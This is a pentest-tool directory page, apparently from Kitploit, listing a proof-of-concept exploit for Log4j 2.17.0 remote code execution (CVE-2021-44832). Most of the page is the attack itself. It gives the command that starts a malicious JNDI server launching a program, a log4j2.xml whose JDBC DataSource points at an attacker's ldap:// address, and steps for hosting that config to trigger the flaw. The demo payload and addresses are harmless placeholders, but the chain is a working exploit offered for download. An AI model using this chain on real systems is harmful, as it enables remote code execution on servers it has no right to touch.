Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cckuailong/log4j_rce_cve-2021-44832
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlRemote Access Tool
GitHubcckuailong/log4j_rce_cve-2021-44832

log4j_RCE_CVE-2021-44832

Proof-of-concept exploit for Log4j 2.17.0 RCE (CVE-2021-44832) using JNDI injection with malicious configuration file deployment.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
4114 years agoNot yet reviewed
Share

Log4j 2.17.0 RCE -- CVE-2021-44832

Reproduction

  1. Start the malicious JNDI server
root@kitploit:~
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

  1. Modify the DataSource section in config/log4j2.xml to your generated JNDI address
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/nvrcl6" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

Deploy the configuration file to your own HTTP server

  1. Modify the PoC

Modify to the configuration file deployed on the HTTP server

  1. Execute

Log4shell Topic

https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j

Welcome to contribute to reapoc

https://github.com/cckuailong/reapoc

Download Tool